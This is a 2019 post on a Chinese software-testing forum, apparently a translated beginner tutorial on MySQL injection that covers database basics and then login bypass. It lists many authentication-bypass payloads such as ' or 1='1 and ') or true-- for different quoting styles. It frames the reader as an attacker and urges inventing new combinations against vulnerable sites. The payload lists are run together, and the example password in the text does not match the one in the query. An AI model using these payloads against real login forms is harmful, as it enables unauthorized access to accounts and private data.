51Testing软件测试论坛

标题: mysql注入1 [打印本页]

作者: 悠悠小仙仙    时间: 2019-2-1 15:46
标题: mysql注入1
0x01 ~ 介绍
大家好,对于那些不了解我的人我是他们的噩梦=)..在本教程中,我将以新手视角展示MySQL中臭名昭着的注入,以便所有新手都能成为成功的SQL注入器。 目的,一定要检查PHP和MySQL中的各种函数和各种各样的网站,它们会对你有很大的帮助...也不要苛刻我是否有任何语法错误的教程因为英语不是我的母语(我是 来自土星环)。 现在让我们开始SQL注入的演练。
0x02 ~ 什么是数据库
这只是只是一般的信息..数据库是存储数据集合的应用程序。 数据库提供各种API,用于创建,访问和管理它所拥有的数据。 并且数据库(DB)服务器可以与我们的Web开发集成,以便我们可以从数据库中获取我们想要的东西而没有太多困难。 DB可能包含各种关键信息,如用户名,密码,信用等。 因此,需要保护数据库,但运行的许多数据库服务器由于其漏洞或编程处理不当而不安全。 仅举几例DB服务器,MySQL(开源),MSSQL,MS-ACCESS,Oracle,Postgre SQL(开源),SQLite等。
0x03 ~ 什么是Sql注入?
SQL注入可能是目前互联网上存在的最丰富的编程缺陷。 这是未经授权的人可以访问各种关键和私人数据的漏洞。 SQL注入不是Web或数据库服务器中的缺陷,而是由于编程实践较差且缺乏经验而导致的。 它是从远程位置执行的最致命和最容易的攻击之一。
在SQL注入中,我们使用各种命令与DB服务器交互,并从中获取各种数据。 在本教程中,我将讨论SQL注入的3个方面,即绕过登录,访问机密数据和修改页面内容。 因此,让我们在真正的演练中前进......
#0x04 ~ 绕过登录
假设一个站点有一个登录表单,只允许注册用户进入该站点。 现在,假设你想绕过登录并以合法用户身份进入网站。 如果程序员没有正确清理登录脚本,您可能很幸运能够进入该站点。 通过与DB服务器交互,你可能无需知道真实用户名和真实密码即可登录该站点。 那么,这不就是SQL注入的美感吗?
让我们看一个例子,其中用户名admin和密码sam207可以登录到该站点。 假设,对此的SQL查询执行如下:
HTML代码:
SELECT USER from database WHERE username ='admin'AND password ='xenu'
如果上面的SELECT命令评估为true,则将授予用户访问该站点的权限。 想想如果没有清理脚本我们可以做些什么。 这为黑客获取非法访问网站打开了一扇大门。
在此示例中,攻击者可以在登录表单中输入以下用户数据:
username:a or 1=1--password:blank
所以,这会使我们的查询为:
<?phpSELECT USER from database WHERE username='a' or 1=1-- AND password=''  
请注意 - 是注释运算符,其后的任何内容都将被忽略为注释。 存在另一个注释运算符,它是/ *。
所以我们的上述查询变为:
<?phpSELECT USER from database WHERE username='a' or 1=1  
现在,即使没有名为“a”的用户,此查询也会计算为true,因为1 = 1始终为true,并且当其中一个查询为true时,使用OR会使查询返回true。 这样就可以访问站点管理面板。
可以有各种其他用户名和密码组合来与易受攻击的网站一起玩。 您可以为站点登录创建自己的新组合。
很少有这样的组合:
username:' or 1='1        password:' or 1='1username:' or '1'='1'    password:' or '1'='1'usernamer 1=1        passwordr 1=1
这是基本没关系让我们现在假设不同的查询和不同的注入。
<?phpselect username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;  
这样的组合是:
') or true--') or ('')=('') or 1--') or ('x')=('
PHP代码:
<?phpselect username,pass from users where username="$username" and password="$passwrd" limit 0,1;  
这样的组合是:
" or true--" or ""="" or 1--" or "x"="
PHP代码:
<?phpselect username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;  
这样的组合是:
") or true--") or ("")=("") or 1--") or ("x")=("
PHP代码:
<?phpselect username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;  
这样的组合是:
')) or true--')) or ((''))=(('')) or 1--')) or (('x'))=(('
另一种有效载重:
'-'' ''&''^''*'' or ''-'' or '' '' or ''&'' or ''^'' or ''*'"-"" ""&""^""*"" or ""-"" or "" "" or ""&"" or ""^"" or ""*"or true--" or true--' or true--") or true--') or true--' or 'x'='x') or ('x')=('x')) or (('x'))=(('x" or "x"="x") or ("x")=("x")) or (("x"))=(("x
这就是绕过登录。





欢迎光临 51Testing软件测试论坛 (http://bbs.51testing.com/) Powered by Discuz! X3.2